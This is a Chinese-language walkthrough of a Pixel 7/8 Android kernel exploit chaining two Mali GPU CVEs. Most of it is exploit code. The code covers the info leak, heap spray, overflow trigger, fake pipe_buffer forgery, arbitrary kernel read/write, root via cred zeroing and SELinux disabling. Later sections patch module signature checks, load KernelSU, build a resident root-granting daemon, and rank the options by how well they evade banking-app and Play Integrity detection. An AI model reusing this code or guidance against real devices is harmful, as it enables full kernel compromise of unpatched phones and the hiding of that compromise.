| 项目 | 信息 |
|---|---|
| 仓库地址 | https://github.com/0x36/Pixel_GPU_Exploit |
| 作者 | 0x36 |
| 目标设备 | Pixel 7 / Pixel 7 Pro / Pixel 8 Pro |
| 目标系统 | Android 14 (SPL 2023-10 / 2023-11) |
| 漏洞类型 | 整数溢出 + 信息泄漏 -> 内核提权 |
| 利用效果 | root (uid=0) + SELinux disabled |
| 成功率 | 接近 100% |
| 修复时间 | Google 2023 年 12 月安全公告 |
| CVE | 漏洞类型 | 所在函数 | 用途 |
|---|---|---|---|
| CVE-2023-48409 | 整数溢出 -> 越界写入 (CWE-787) | gpu_pixel_handle_buffer_liveness_update_ioctl |
堆溢出覆盖相邻对象 |
| CVE-2023-26083 | 信息泄漏 | Timeline Stream (TLSTREAM_ACQUIRE) |
泄漏 kcpu_queue 内核堆地址 |
信息泄漏 (CVE-2023-26083)
| 获取 kcpu_queue 内核堆地址
堆喷射
| 大量 kcpu_queue + pipe 填满 slab
整数溢出 (CVE-2023-48409)
| kmalloc 小 buffer, copy_from_user 越界写
覆盖 pipe_buffer
| 伪造的 pipe_buffer 指向 kcpu_queue
UAF + 堆喷占位
| 释放 kcpu_queue, 用 pipe_buffer 数组占位
构建任意内核读写
| 修改 pipe_buffer.page/offset -> 读写任意内核地址
KASLR 绕过
| 从泄漏的 anon_pipe_buf_ops 计算内核基址
提权
| 遍历 task_struct -> cred 清零 -> root
| selinux_state bit0 清零 -> 关闭 SELinux
获得 root shell
| 文件 | 说明 |
|---|---|
poc.cpp |
完整 exploit 代码 (C++, 约 700 行) |
mali.h |
Mali GPU ioctl 接口定义 |
mali_base_common_kernel.h |
Mali 内核公共头文件 |
README.md |
漏洞分析与利用详解 |
exploit 通过 ro.vendor.build.fingerprint 匹配目标设备, 加载对应的内核符号偏移:
struct device_config {
const char *fingerprint; // 设备固件指纹
__u64 stext_long1; // _stext 段前 8 字节 (内核基址验证)
__u64 stext_long2; // _stext 段第二个 8 字节
__u64 kthread_task; // kthreadd task_struct 指针的符号偏移
__u64 selinux_state; // selinux_state 全局变量的符号偏移
__u64 anon_pipe_buf_ops; // anon_pipe_buf_ops 的符号偏移
__u64 task_struct_cred; // task_struct->cred 字段偏移
__u64 task_struct_pid; // task_struct->pid 字段偏移
__u64 task_struct_tasks; // task_struct->tasks 链表偏移
void * (*page_to_virt_fn)(__u64); // page 结构体转虚拟地址
__u64 (*virt_to_page_fn)(__u64); // 虚拟地址转 page 结构体
};支持的设备配置:
| 索引 | 设备 | fingerprint | SPL |
|---|---|---|---|
| 0 | Pixel 8 Pro (husky) | google/husky/husky:14/UD1A.231105.004/... |
Nov 2023 |
| 1 | Pixel 7 Pro (cheetah) | google/cheetah/cheetah:14/UP1A.231105.003/... |
Nov 2023 |
| 2 | Pixel 7 Pro (cheetah) | google/cheetah/cheetah:14/UP1A.231005.007/... |
Oct 2023 |
| 3 | Pixel 7 (panther) | google/panther/panther:14/UP1A.231105.003/... |
Nov 2023 |
设备匹配函数:
struct device_config * get_device_config(void) {
char prop_value[PROP_VALUE_MAX];
__system_property_get("ro.vendor.build.fingerprint", prop_value);
for (int i = 0; i < sizeof(dev_conf)/sizeof(struct device_config); i++) {
if (!strncmp(dev_conf[i].fingerprint, prop_value,
strlen(dev_conf[i].fingerprint)))
return &dev_conf[i];
}
return NULL; // 不支持的设备
}Pixel 7 与 Pixel 8 的内存布局差异 -- 两者的 page_to_virt / virt_to_page 计算公式不同:
// Pixel 7 (Tensor G1/G2)
void * __page_to_virt(__u64 page) {
return ((void*)(((((unsigned long long)page << 6) +
0xFFFFC008000000LL) & 0xFFFFFFFFFFF000LL
| 0xFF00000000000000LL)));
}
// Pixel 8 Pro (Tensor G3)
void * __page_to_virt2(__u64 page) {
return ((void*)(((__u64)page << 6) & 0xFFFFFFFFFFF000LL
| 0xFF00000000000000LL));
}exploit 封装了一系列 Mali GPU ioctl 操作函数:
| 函数 | ioctl 命令 | 用途 |
|---|---|---|
kbase_api_handshake() |
KBASE_IOCTL_VERSION_CHECK |
驱动版本握手 |
kbase_api_set_flags() |
KBASE_IOCTL_SET_FLAGS |
设置 context flags |
kbasep_kcpu_queue_new() |
KBASE_IOCTL_KCPU_QUEUE_CREATE |
创建 kcpu_queue 对象 |
kbasep_kcpu_queue_delete() |
KBASE_IOCTL_KCPU_QUEUE_DELETE |
释放 kcpu_queue 对象 |
kbase_api_tlstream_acquire() |
KBASE_IOCTL_TLSTREAM_ACQUIRE |
获取 timeline stream fd |
kbase_api_buffer_liveness_update() |
KBASE_IOCTL_BUFFER_LIVENESS_UPDATE |
触发漏洞的 ioctl |
kbase_api_get_context_id() |
KBASE_IOCTL_GET_CONTEXT_ID |
获取内核 context ID |
// 1. 获取 timeline stream fd (开启 CSF tracepoint)
ta->streamfd = kbase_api_tlstream_acquire(fd, BASE_TLSTREAM_ENABLE_CSF_TRACEPOINTS);
// 2. 创建 kcpu_queue
ta->kcpu_id = kbasep_kcpu_queue_new(fd);
// 3. 从 stream 中读取事件, 提取内核地址
ta->kcpu_kaddr = get_kcpu_kaddr(ta);get_kcpu_kaddr() 的工作原理:
#define KBASE_TL_KBASE_NEW_KCPUQUEUE 59 // 事件 ID
__u64 get_kcpu_kaddr(struct kcpu_args *args) {
char buf[0x1000] = {};
do {
ssize_t rb = read(ta->streamfd, buf, sizeof(buf));
char *p = buf;
for (ssize_t i = 0; i < rb && rb > 0x24; i++, p++) {
__u32 msg_id = *(__u32 *)(p);
__u32 id = *(__u32 *)(p + 20); // kcpu_queue_id
__u32 kid = *(__u32 *)(p + 24); // kernel_ctx_id
// 匹配: 消息类型 = NEW_KCPUQUEUE 且 ID 对应
if ((msg_id == KBASE_TL_KBASE_NEW_KCPUQUEUE) &&
(id == ta->kcpu_id) && (kid == ta->kctx_id)) {
__u64 kcpu_queue = *(__u64 *)(p + 12); // 内核堆地址!
return kcpu_queue;
}
}
} while ((rb >= 0) && ta->kcpu_kaddr == 0);
return 0;
}Mali 驱动的 timeline stream 在创建 kcpu_queue 时记录事件, 事件数据中 包含了 kcpu_queue 对象的内核堆地址. 该地址本不应暴露给用户空间, 属于信息泄漏.
exploit 创建大量 Linux pipe 用于堆布局和读写原语:
#define PIPE_CNT_MAX (0x40 - 1) // 63 个 pipe
#define PIPE_CNT_STAGE_1 (0x2) // 前 2 个: 等待被溢出覆盖
#define PIPE_CNT_STAGE_2 (PIPE_CNT_MAX - PIPE_CNT_STAGE_1) // 后 61 个: UAF 占位
#define PIPE_SIZE (0x10000) // 64KB
#define FAKE_PIPE_LEN (PAGE_SIZE - 1) // 0xFFF, 伪造长度标记两阶段初始化:
// Stage 1: 创建 2 个 pipe, 等待被溢出覆盖其 pipe_buffer
pipe_structs_init(psize, 1);
// Stage 2: 创建 61 个 pipe (不设 size), 后续 UAF 占位用
pipe_structs_init(0, 2);EFAULT 技巧 -- 不更新 len/offset 的读写:
这是 exploit 中最精巧的技术之一. 正常 pipe read/write 会消耗数据 (更新 pipe_buffer 的 offset 和 len), 导致无法重复读写同一个 pipe_buffer. exploit 利用 guard page 触发 EFAULT 来绕过这个问题:
void init_buffers() {
// 数据区: 9 页可读写内存
mmap((void*)0x1111110000, STATIC_ADDR_SZ, PROT_READ|PROT_WRITE, ...);
// 紧跟其后: 1 页不可访问的 guard page
mmap((void*)(0x1111110000 + STATIC_ADDR_SZ), PAGE_SIZE, PROT_NONE, ...);
}
// 读取 pipe 数据但不消耗 (不改变 pipe_buffer->len/offset)
void pipe_struct_read_with_guard(int pipe_index, void *buffer, size_t bufsize) {
// 将目标地址设在 guard page 前, 使得 bufsize+1 刚好越过 guard page
__u8 *ptr = (__u8 *)__pbuf_end - bufsize;
bzero(ptr, bufsize);
// 多读 1 字节 -> 触及 guard page -> EFAULT
// 但 bufsize 字节的数据已经拷贝完成
ssize_t rb = pipe_structs_read(pipe_index, ptr, bufsize + 1);
assert((rb < 0) && errno == EFAULT); // 必须是 EFAULT
memcpy(buffer, ptr, bufsize);
}
// 写入 pipe 数据但不前进写指针
void pipe_struct_write_with_guard(int pipe_index, void *buffer, size_t bufsize) {
__u8 *ptr = (__u8 *)__pbuf_end - bufsize;
memcpy(ptr, buffer, bufsize);
ssize_t wb = pipe_structs_write(pipe_index, ptr, bufsize + 1);
assert((wb < 0) && errno == EFAULT);
}原理: 当 copy_page_to_iter / copy_page_from_iter 在拷贝过程中遇到不可访问
的页 (guard page) 时返回 EFAULT. 此时数据已部分拷贝完成, 但由于返回错误,
内核不会更新 pipe_buffer 的 offset 和 len, 实现了 "偷看/偷改" pipe_buffer
内容而不消耗数据的效果, 可以反复操作同一个 pipe_buffer.
大量分配 kcpu_queue 对象填满 slab allocator, 使后续分配位置可预测:
#define FDS 100
#define KBASEP_MAX_KCPU_QUEUES 256
// 打开 100 个 mali 设备
int mfds[FDS + 1] = {};
for (int i = 0; i < FDS; i++) {
mfds[i] = open_device("/dev/mali0");
kbase_api_handshake(mfds[i], &cmd);
kbase_api_set_flags(mfds[i], &flags);
}
// 每个设备创建 256 个 kcpu_queue (共 25600 个)
// kcpu_queue 是 order-2 分配 (4 页 = 16KB)
for (int i = 0; i < FDS; i++) {
for (int j = 0; j < KBASEP_MAX_KCPU_QUEUES; j++)
kcpu_ids[i][j] = kbasep_kcpu_queue_new(mfds[i]);
}
// 当前 context 也创建 254 个
for (int i = 0; i < 255 - 1; i++)
kcpu_ids[FDS][i] = kbasep_kcpu_queue_new(ta->fd);目的: 当我们释放一个 kcpu_queue 后, 下一个同大小的分配 (pipe_buffer 数组) 大概率会落到同一个位置, 实现精准的 UAF 占位.
内核 pipe_buffer 结构体:
struct pipe_buffer {
__u64 page; // 指向 struct page
unsigned int offset; // 页内偏移
unsigned int len; // 数据长度
const void *ops; // pipe_buf_operations 指针
unsigned int flags; // 标志位
unsigned long _private;
};在溢出数据中构造两个伪造的 pipe_buffer:
// 伪造 pipe_buffer #1 (用于读, 偏移 0)
struct pipe_buffer *p = (struct pipe_buffer *)ptr;
p->page = conf->virt_to_page_fn(ta->kcpu_kaddr); // 指向 kcpu_queue 的页
p->offset = 0;
p->len = FAKE_PIPE_LEN; // 0xFFF -- 作为识别标记
p->ops = (const void *)(ta->kcpu_kaddr + 0x50); // 非 NULL, 避免 crash
p->flags = PIPE_BUF_FLAG_CAN_MERGE; // 0x10, 允许合并写入
// 伪造 pipe_buffer #2 (用于写, 偏移 0x4000)
p = (struct pipe_buffer *)(ptr + 0x4000);
p->page = conf->virt_to_page_fn(ta->kcpu_kaddr);
p->offset = 0;
p->len = 0; // 写入起始位置
p->ops = (const void *)(ta->kcpu_kaddr + 0x50);
p->flags = PIPE_BUF_FLAG_CAN_MERGE;ops 不能为 NULL, 否则内核在 pipe_buf_get() 时解引用 NULL 导致 panic. 这里将 ops 指向 kcpu_queue 对象内部偏移 0x50 处, 该位置的数据恰好不是 NULL.
struct kbase_ioctl_buffer_liveness_update u = {};
__s64 off = 0x8000;
__u64 size = 0x2c01;
// 关键: buffer_count 设为巨大的无符号值 (负数除法的结果)
u.buffer_count = (__u64)(-off / 0x10); // = 0xFFFFFFFFFFFFF800
u.live_ranges_count = size; // = 0x2c01
u.live_ranges_address = (__u64)ptr; // 指向构造的伪造数据
u.buffer_va_address = (__u64)-1; // 不使用
u.buffer_sizes_address = (__u64)-1; // 不使用内核侧发生了什么 (伪代码):
// gpu_pixel_handle_buffer_liveness_update_ioctl 内部
buffer_info_size = sizeof(__u64) * buffer_count; // 8 * 0xFFFFFFFFFFFFF800 = 溢出!
live_ranges_size = sizeof(mark) * live_ranges_count;
total = buffer_info_size * 2 + live_ranges_size; // 溢出后变成小值
char *buf = kmalloc(total); // 分配了远小于预期的 buffer
copy_from_user(buf, live_ranges_address, live_ranges_size); // 实际写入量远超 buf
// -> 越界写入! 覆盖堆上相邻对象buffer_count = 0xFFFFFFFFFFFFF800 乘以 8 后溢出, 最终 kmalloc 分配一个小 buffer,
但 copy_from_user 使用原始的 live_ranges_count 拷贝数据, 大量数据溢出到相邻堆对象.
err = kbase_api_buffer_liveness_update(fd, &u); // 触发溢出
// 扫描 stage 1 的 pipe, 看哪个的 pipe_buffer 被覆盖了
for (int i = 0; i < PIPE_CNT_STAGE_1; i++) {
int sz = 0;
ioctl(pipes[i]->__fds[0], FIONREAD, &sz); // 查询可读字节数
if (sz == FAKE_PIPE_LEN) { // 0xFFF = 我们伪造的 len
fake_pipe_index = i;
break;
}
}通过 FIONREAD 检测: 如果某个 pipe 的可读字节数恰好等于 0xFFF (FAKE_PIPE_LEN), 说明它的 pipe_buffer 已被我们伪造的结构体覆盖, 其 .page 指向 kcpu_queue 的内存页.
// 释放 kcpu_queue 对象, 腾出内存
struct kbase_ioctl_kcpu_queue_delete _delete = { .id = ta->kcpu_id };
kbasep_kcpu_queue_delete(fd, &_delete);
// 立即用 pipe_buffer 数组占位
// 扩大 stage 2 的 pipe -> 内核分配 pipe_buffer 数组 -> 落到刚释放的位置
for (int k = PIPE_CNT_STAGE_1; k < PIPE_CNT_MAX; k++) {
fcntl(pipe_rd_id(k), F_SETPIPE_SZ, psize); // psize = 0x100 * PAGE_SIZE
usleep(100);
}
// 写入少量数据推进 head 计数器 (使 pipe_buffer->len 非零)
for (int k = PIPE_CNT_STAGE_1; k < PIPE_CNT_MAX; k++) {
char tmp[0x1000] = {};
size_t wsize = 0x10 * (k + 1);
memset(tmp, 0xcc, wsize);
pipe_structs_write(k, tmp, wsize);
}此时内存布局:
fake pipe (stage 1) 的 pipe_buffer.page
| 仍然指向
+---------------------------+
| 原 kcpu_queue 内存 | <- 已被释放
| 现在被某个 stage 2 pipe | <- 的 pipe_buffer 数组占据
| 的 pipe_buffer[N] 占用 |
+---------------------------+
验证占位是否成功:
pipe_struct_read_with_guard(fake_pipe_index, rwbuf, 0x28);
struct pipe_buffer *pb = (struct pipe_buffer *)rwbuf;
// 验证: page 非 0, len 合理, ops 非 0
if ((pb->page == 0) || (pb->len > PAGE_SIZE) || (pb->ops == 0)) {
do_print("占位失败\n");
exit(0);
}
// 记录关键信息
__u32 pipe_index = (pb->len / 0x10) - 1; // 推算目标 pipe 索引
prw.wr = pipe_index; // 被控制的目标 pipe
prw.krw_idx = fake_pipe_index + 1; // 通过它写 pipe_buffer 内容
prw.krd_idx = fake_pipe_index; // 通过它读 pipe_buffer 内容
prw.anon_pipe_buf_ops = (__u64)pb->ops; // 泄漏的内核代码地址控制链:
fake pipe (krd_idx / krw_idx)
| read/write with EFAULT trick
v
目标 pipe 的 pipe_buffer 结构体 (在内核堆上)
| 修改 .page / .offset / .len
v
目标 pipe (prw.wr)
| read() / write()
v
任意内核地址
读任意内核地址:
static __u64 kernel_read64(__u64 addr) {
__u64 kaddr_align = addr & ~(PAGE_SIZE - 1); // 页对齐
struct pipe_buffer *pb = &prw.pb;
// 修改目标 pipe 的 pipe_buffer, 使其 page 指向目标地址
pb->page = conf->virt_to_page_fn(kaddr_align);
pb->offset = addr & (PAGE_SIZE - 1); // 页内偏移
pb->len = 0x21; // +1 触发 EFAULT trick
// 通过 fake pipe 写入修改后的 pipe_buffer
update_pipe_buffer(prw.krw_idx, pb, 0x28);
// 验证写入成功
fetch_pipe_buffer(prw.krd_idx, prw.rwbuf, 0x28);
// 从目标 pipe 读取 = 读取目标内核地址的内容
pipe_structs_read(prw.wr, prw.rwbuf, 0x20);
return *(__u64 *)prw.rwbuf;
}写任意内核地址:
void kernel_write(__u64 addr, __u8 *buf, size_t size) {
__u64 kaddr_align = addr & ~(PAGE_SIZE - 1);
struct pipe_buffer *pb = &prw.pb;
pb->page = conf->virt_to_page_fn(kaddr_align);
pb->offset = addr & (PAGE_SIZE - 1);
pb->len = 0; // 从 offset 开始写
// 通过 fake pipe 写入修改后的 pipe_buffer
update_pipe_buffer(prw.krw_idx, pb, 0x28);
// 向目标 pipe 写入 = 写入目标内核地址
ssize_t wr = pipe_structs_write(prw.wr, buf, size);
assert(wr == size);
}// 从被占位的真实 pipe_buffer 中读到 ops 指针
// ops = anon_pipe_buf_ops, 这是内核代码段的全局变量
prw.anon_pipe_buf_ops = (__u64)pb->ops;
// 内核基址 = ops 实际地址 - 已知偏移
prw.kernel_base = prw.anon_pipe_buf_ops - conf->anon_pipe_buf_ops;
prw.selinux_state = prw.kernel_base + conf->selinux_state;
prw.kthreadd_task = kernel_read64(prw.kernel_base + conf->kthread_task);原理: 内核创建 pipe 时, pipe_buffer->ops 被设为 anon_pipe_buf_ops
(内核 .data 段全局变量). KASLR 只是在固定基址上加随机偏移,
所以 anon_pipe_buf_ops 实际地址 - 已知偏移 = 内核基址.
代码中保留了一个已弃用的暴力搜索方法 (遍历所有 page 找 _stext 签名):
#if 0
// 旧方法: 暴力搜索内核基址 (已弃用)
for (__u64 page = 0xFFFFFFFEFFE00000; page < 0xFFFFFFFFFFE00000; page += 0x40) {
__u64 addr = kernel_read64(conf->page_to_virt_fn(page));
__u64 addr2 = *(__u64 *)(prw.rwbuf + 8);
if ((addr == conf->stext_long1) && (addr2 == conf->stext_long2)) {
prw.kernel_base = conf->page_to_virt_fn(page);
break;
}
}
#endif新方法只需一次减法, 无需搜索, 速度和可靠性都大幅提升.
遍历 task_struct 双向链表找到当前进程:
__u64 get_current_task() {
__u64 curr_tsk = prw.kthreadd_task; // 从 kthreadd (pid=2) 开始
do {
pid_t pid = (__u32)kernel_read64(curr_tsk + conf->task_struct_pid);
if (pid == getpid()) {
prw.my_task = curr_tsk;
return curr_tsk; // 找到自己的 task_struct
}
// tasks 是双向链表, 遍历到下一个进程
curr_tsk = kernel_read64(curr_tsk + conf->task_struct_tasks)
- conf->task_struct_tasks;
usleep(1000);
} while ((curr_tsk != prw.kthreadd_task) || !curr_tsk);
return 0;
}修改 cred 结构体 -> uid=0 (root):
void get_root() {
// 读取 task_struct->cred 指针
__u64 creds = kernel_read64(prw.my_task + conf->task_struct_cred);
// cred 中 uid/gid/suid/sgid/euid/egid/fsuid/fsgid 从 offset 4 连续排列
// 全部清零 -> 所有身份变为 root (uid=0, gid=0)
__u8 buf[0x20] = {};
kernel_write(creds + 4, buf, sizeof(buf));
}关闭 SELinux:
void disable_selinux() {
int enabled = kernel_read64(prw.selinux_state);
__u32 value = (enabled >> 1) << 1; // 清除 bit 0 (enforcing)
kernel_write(prw.selinux_state, (__u8 *)&value, 4);
// 此后 getenforce 返回 Permissive
}exploit 完成提权后, 需要修复被破坏的内核数据结构, 否则进程退出时 pipe close 路径会访问伪造的 ops 指针导致 kernel panic:
for (int i = 0; i < (256 * FDS); i++) {
__u64 area = kcpu.kcpu_kaddr + (i * 0x4000);
__u64 kaddr = kernel_read64(area);
if (kaddr == conf->virt_to_page_fn(ta->kcpu_kaddr)) {
// 1. 增加 page refcount, 防止页被释放时 panic
__u32 refcount = 21;
kernel_write(kaddr + 0x34, (__u8 *)&refcount, 4);
// 2. 恢复 ops 为合法的 anon_pipe_buf_ops
// 这样 pipe close 时调用 ops->release 不会 crash
kernel_write(area + 0x10, (__u8 *)&prw.anon_pipe_buf_ops, 8);
kernel_write(area + 0x10 + 0x4000, (__u8 *)&prw.anon_pipe_buf_ops, 8);
break;
}
}
close(ta->streamfd);
// 启动 root shell
if (getuid() == 0) {
system("/system/bin/sh");
}Standalone 模式编译 (推荐):
$NDK/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android31-clang++ \
-DUSE_STANDALONE -static -o exploit poc.cppJNI 模式 (嵌入 Android App):
不加 -DUSE_STANDALONE, 编译为 .so, 入口函数为
Java_com_example_myapplication_MainActivity_stringFromJNI().
执行:
adb push exploit /data/local/tmp/
adb shell chmod +x /data/local/tmp/exploit
adb shell /data/local/tmp/exploit成功输出:
[+] Target device: 'google/panther/panther:14/...'
[+] Got the kcpu_id (0) kernel address = 0xffff...
[+] Found corrupted pipe with size 0xfff
[+] SUCCESS! we have a fake pipe_buffer!
[+] kernel base = 0xffff..., kthreadd_task = 0xffff...
[+] Found our own task struct 0xffff...
[+] Successfully got root: getuid() = 0 getgid() = 0
[+] Successfully disabled SELinux
[+] Cleanup ... OK
# (root shell)
exploit 提供的临时 root 存在以下局限:
| 局限 | 说明 |
|---|---|
| 非持久化 | 重启后 root 丢失 |
| SELinux 关闭 | 容易被银行 app, Play Integrity 检测 |
| 无管理界面 | 无法控制哪些 app 有 root 权限 |
| 无模块系统 | 无法使用 Magisk/KernelSU 模块 |
KernelSU 接管后, SELinux 可恢复 Enforcing, 有完整的权限管理和模块系统.
exploit 获取 root + 内核 R/W
|
kernel_write() patch 掉模块签名检查
|
insmod kernelsu.ko
|
setenforce 1 (重新开启 SELinux)
|
安装 KernelSU Manager APK
|
完整 KernelSU 体验 (本次开机有效)
Pixel 7 GKI 内核开启了 CONFIG_MODULE_SIG_FORCE,
直接 insmod 会报 EKEYREJECTED. 需要用内核写原语 patch:
void disable_module_sig_check() {
// 方法 1: patch sig_enforce 变量为 0
__u64 sig_enforce_addr = prw.kernel_base + SIG_ENFORCE_OFFSET;
__u32 zero = 0;
kernel_write(sig_enforce_addr, (__u8*)&zero, 4);
// 方法 2: patch module_sig_check 函数返回 0
// ARM64: mov w0, #0; ret
// 字节: 00 00 80 52 C0 03 5F D6
__u8 patch[] = {0x00, 0x00, 0x80, 0x52, 0xC0, 0x03, 0x5F, 0xD6};
kernel_write(prw.kernel_base + MODULE_SIG_CHECK_OFFSET, patch, sizeof(patch));
}kernelsu.ko 必须与内核 KMI 版本严格匹配:
uname -r
# 例: 5.10.149-android13-4-00003-g2xxxxxxxxx从 KernelSU release 下载对应 android13-5.10 或 android14-5.15 版本的 .ko.
KernelSU 在内核层 hook syscall 和 credential 检查, 对被授权的进程临时修改 security context, 全程不需要关闭 SELinux:
普通 App 请求 -> SELinux Enforcing 正常拦截
授权 App 请求 su -> KernelSU 内核 hook
-> 临时赋予 u:r:su:s0 context
-> 操作完成后恢复
全程 SELinux 保持 Enforcing
insmod 之后立即恢复:
void reenable_selinux() {
__u32 value = kernel_read64(prw.selinux_state);
value |= 1; // set enforcing bit
kernel_write(prw.selinux_state, (__u8*)&value, 4);
}# 电脑端
adb push kernelsu.ko /data/local/tmp/
adb push KernelSU-manager.apk /data/local/tmp/
# 运行 exploit (含 patch 签名检查)
adb shell /data/local/tmp/exploit
# root shell 中
insmod /data/local/tmp/kernelsu.ko
lsmod | grep kernelsu
setenforce 1
getenforce # 应显示 Enforcing
pm install /data/local/tmp/KernelSU-manager.apk不需要任何 .ko 文件, 直接利用已有的内核读写原语.
将 exploit 改造为常驻进程, 通过 Unix socket 监听提权请求, 按需修改目标进程的 cred 结构体.
// 根据 pid 找到 task_struct 并修改 cred 为 root
void grant_root_to_pid(pid_t target_pid) {
__u64 curr_tsk = prw.kthreadd_task;
do {
pid_t pid = (__u32)kernel_read64(curr_tsk + conf->task_struct_pid);
if (pid == target_pid) {
__u64 creds = kernel_read64(curr_tsk + conf->task_struct_cred);
__u8 buf[0x20] = {};
kernel_write(creds + 4, buf, sizeof(buf));
return;
}
curr_tsk = kernel_read64(curr_tsk + conf->task_struct_tasks)
- conf->task_struct_tasks;
} while (curr_tsk != prw.kthreadd_task);
}
// 常驻监听
void root_server() {
int sockfd = create_listen_socket("/dev/su_sock");
while (1) {
int client = accept(sockfd, ...);
pid_t requester_pid = get_peer_pid(client); // SO_PEERCRED
grant_root_to_pid(requester_pid);
close(client);
}
}| 优点 | 缺点 |
|---|---|
| 不需要 .ko 文件 | 没有管理 UI |
| 不需要绕过模块签名 | exploit 进程需要常驻 |
| 不需要匹配 KMI 版本 | 需要自己实现鉴权 |
| SELinux 可保持 Enforcing | -- |
| 提权在内核层, 不走 sepolicy | -- |
# exploit 拿到 root 后
cp /data/local/tmp/su /data/adb/su
chmod 6755 /data/adb/su
chown root:root /data/adb/su
/data/adb/su --daemon &
pm install /data/local/tmp/superuser.apk| 优点 | 缺点 |
|---|---|
| 5 分钟搞定 | SELinux 必须 Permissive |
| 有现成的管理 App | 容易被检测 |
| 不需要内核知识 | 安全性差 |
XDA 上存在一种使用 ksud boot-patch 的方案 (针对小米高通设备), 原理是:
临时 root
-> ksud 解包 boot.img
-> 注入 kernelsu.ko + ksuinit 到 ramdisk
-> dd 写入 boot 分区
-> 重启生效
此方案不适用于 Pixel 7, 原因:
| 小米高通设备 | Pixel 7 | |
|---|---|---|
| bootloader | 锁定但 AVB 不完整 | 锁定且 AVB 严格校验 |
| 写 boot 后重启 | 正常启动 | AVB 校验失败, 变砖 |
Pixel 的 AVB (Android Verified Boot) 是标杆级实现, boot 分区改一个字节都会导致启动失败. ksud 本身无法绕过 AVB.
简单度 隐蔽性 功能完整性 SELinux
方案 C ***** * ** Permissive
(su daemon)
方案 B *** **** *** Enforcing
(root server)
方案 A ** ***** ***** Enforcing
(insmod .ko)
推荐:
- 只是研究/玩一下 -> 方案 C
- 在意检测 (银行 app, Play Integrity) -> 方案 B
- 追求完整 KernelSU 体验且愿意折腾 -> 方案 A
所有方案均为每次开机临时生效, Pixel 7 锁定 bootloader 下无法持久化.
| 检测项 | exploit 临时 root | KernelSU 接管后 (方案 A) | Root Server (方案 B) |
|---|---|---|---|
| getenforce | Permissive | Enforcing | Enforcing |
| SELinux 审计日志 | 异常 | 正常 | 正常 |
| su 二进制 | 无管理 | KernelSU 管理 | 无 |
| /proc/modules | -- | 可见 kernelsu | 无痕迹 |
| Play Integrity | 失败 | 配合模块可通过 | 需要额外处理 |
| root 管理 UI | 无 | KernelSU Manager | 无 (需自己写) |
exploit 运行 (< 1 秒)
|
关闭 SELinux + 获取 root + 内核 R/W <- 不安全窗口 (几秒)
|
patch 模块签名检查 (kernel_write)
|
insmod kernelsu.ko <- KernelSU 接管
|
setenforce 1 <- SELinux 恢复 Enforcing
|
安装 KernelSU Manager
|
正常使用 (root 授权/模块/隐藏) <- 安全状态
|
重启 -> 一切恢复原样, 需要重新运行 exploit